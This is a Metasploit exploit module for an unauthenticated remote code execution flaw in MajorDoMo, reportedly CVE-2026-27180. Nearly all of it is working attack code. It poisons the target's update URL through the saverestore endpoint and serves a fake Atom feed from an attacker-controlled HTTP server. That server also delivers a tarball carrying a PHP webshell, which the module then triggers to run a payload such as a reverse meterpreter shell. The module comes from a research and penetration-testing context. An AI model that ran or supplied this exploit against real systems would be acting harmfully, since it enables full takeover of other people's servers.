📄 MajorDoMo Supply Chain Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'rubygems/package'
    require 'zlib'
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MajorDoMo Supply Chain RCE via Update Poisoning',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability in
              MajorDoMo's saverestore module via supply chain poisoning. The saverestore module's
              admin() method is reachable without authentication through the /objects/?module=saverestore
              endpoint because usual() calls admin() directly and uses gr() (which reads from $_REQUEST)
              instead of $this->mode for mode checks.
    
              Two unauthenticated GET requests chain together for full RCE:
              1. auto_update_settings - poisons the MASTER_UPDATE_URL to point to an attacker-controlled server
              2. force_update - triggers autoUpdateSystem() which fetches an Atom feed and tarball from the
              poisoned URL, extracts the tarball, and copies all files to the webroot via copyTree()
    
              The tarball is downloaded via curl with CURLOPT_SSL_VERIFYPEER set to FALSE and no integrity
              check. The attacker serves a fake Atom feed with an entry older than the configured delay
              (default 1 day) and a tarball containing a PHP webshell. After deployment, the module
              executes the payload through the webshell.
    
              All versions of MajorDoMo up to and including the latest release are affected.
              The fix is tracked in PR sergejey/majordomo#1177.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27180'],
              ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
              ['URL', 'https://github.com/sergejey/majordomo/pull/1177']
            ],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-02-18',
            'DefaultOptions' => {
              'RPORT' => 80
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/']),
          OptInt.new('UPDATE_TIMEOUT', [true, 'Seconds to wait for MajorDoMo to fetch the update', 30])
        ])
    
        deregister_options('SRVURI')
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => { 'module' => 'saverestore' }
        )
        return CheckCode::Unknown('Failed to connect to the target.') unless res
    
        unless res.body.to_s.include?('MajorDoMo') || res.code == 200
          return CheckCode::Safe('Target does not appear to be MajorDoMo')
        end
    
        marker = Rex::Text.rand_text_alphanumeric(8)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin.php'),
          'method' => 'GET',
          'vars_get' => {
            'ajax_panel' => '1',
            'op' => 'console',
            'command' => "echo '#{marker}';"
          }
        )
    
        if res&.body.to_s.include?(marker)
          return CheckCode::Vulnerable('Console eval is accessible without authentication (saverestore module also reachable)')
        end
    
        CheckCode::Detected('MajorDoMo detected but could not confirm unauthenticated access')
      end
    
      def build_atom_feed
        commit_id = Rex::Text.rand_text_hex(40)
        # Entry must be older than the configured delay (default 1 day)
        old_date = (Time.now.utc - (3 * 86400)).strftime('%Y-%m-%dT%H:%M:%SZ')
        <<~ATOM
          <?xml version="1.0" encoding="UTF-8"?>
          <feed xmlns="http://www.w3.org/2005/Atom">
            <title>MajorDoMo</title>
            <entry>
              <id>tag:github.com,2008:Grit::Commit/#{commit_id}</id>
              <updated>#{old_date}</updated>
              <title>Update</title>
            </entry>
          </feed>
        ATOM
      end
    
      def build_tarball(shell_name, php_code)
        tar_io = StringIO.new
        tar_io.set_encoding('ASCII-8BIT')
    
        Gem::Package::TarWriter.new(tar_io) do |tar|
          tar.mkdir('majordomo-master', 0o755)
          tar.add_file_simple("majordomo-master/#{shell_name}", 0o644, php_code.bytesize) do |io|
            io.write(php_code)
          end
        end
    
        gz_io = StringIO.new
        gz_io.set_encoding('ASCII-8BIT')
        gz = Zlib::GzipWriter.new(gz_io)
        gz.write(tar_io.string)
        gz.close
        gz_io.string
      end
    
      def poison_update_url(url)
        vprint_status("Poisoning update URL to: #{url}")
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => {
            'module' => 'saverestore',
            'mode' => 'auto_update_settings',
            'set_update_url' => url
          }
        )
      end
    
      def trigger_update
        vprint_status('Triggering force_update...')
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'objects', ''),
          'method' => 'GET',
          'vars_get' => {
            'module' => 'saverestore',
            'mode' => 'force_update'
          }
        )
      end
    
      def execute_webshell(shell_name)
        vprint_status("Executing payload via webshell: #{shell_name}")
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, shell_name),
          'method' => 'GET'
        )
      end
    
      def exploit
        shell_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"
        php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        php_code = "<?php #{php_payload} ?>"
    
        atom_feed = build_atom_feed
        tarball = build_tarball(shell_name, php_code)
        feed_served = false
        tarball_served = false
    
        # Start HTTP server to serve the Atom feed and tarball
        # MajorDoMo transforms /archive/master.tar.gz to /commits/master.atom for the feed
        start_service({
          'Uri' => {
            'Proc' => proc do |cli, req|
              path = req.uri
              vprint_status("Received request: #{path}")
    
              if path.include?('.atom')
                print_status('Serving fake Atom feed...')
                send_response(cli, atom_feed, { 'Content-Type' => 'application/atom+xml' })
                feed_served = true
              elsif path.include?('.tar.gz')
                print_status("Serving malicious tarball (#{tarball.length} bytes)...")
                send_response(cli, tarball, { 'Content-Type' => 'application/gzip' })
                tarball_served = true
              else
                send_not_found(cli)
              end
            end,
            'Path' => '/'
          },
          'SSL' => false
        })
    
        srv_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/archive/master.tar.gz"
        poison_update_url(srv_url)
        trigger_update
    
        # Wait for MajorDoMo to fetch the feed and tarball
        timeout = datastore['UPDATE_TIMEOUT']
        print_status("Waiting up to #{timeout}s for MajorDoMo to fetch the update...")
        timeout.times do
          break if feed_served && tarball_served
    
          Rex.sleep(1)
        end
    
        unless feed_served && tarball_served
          fail_with(Failure::TimeoutExpired, 'MajorDoMo did not fetch the update in time. Ensure SRVHOST is reachable from the target.')
        end
    
        # Give MajorDoMo time to extract and deploy
        print_status('Update fetched, waiting for deployment...')
        Rex.sleep(3)
    
        register_file_for_cleanup(shell_name)
        execute_webshell(shell_name)
      end
    end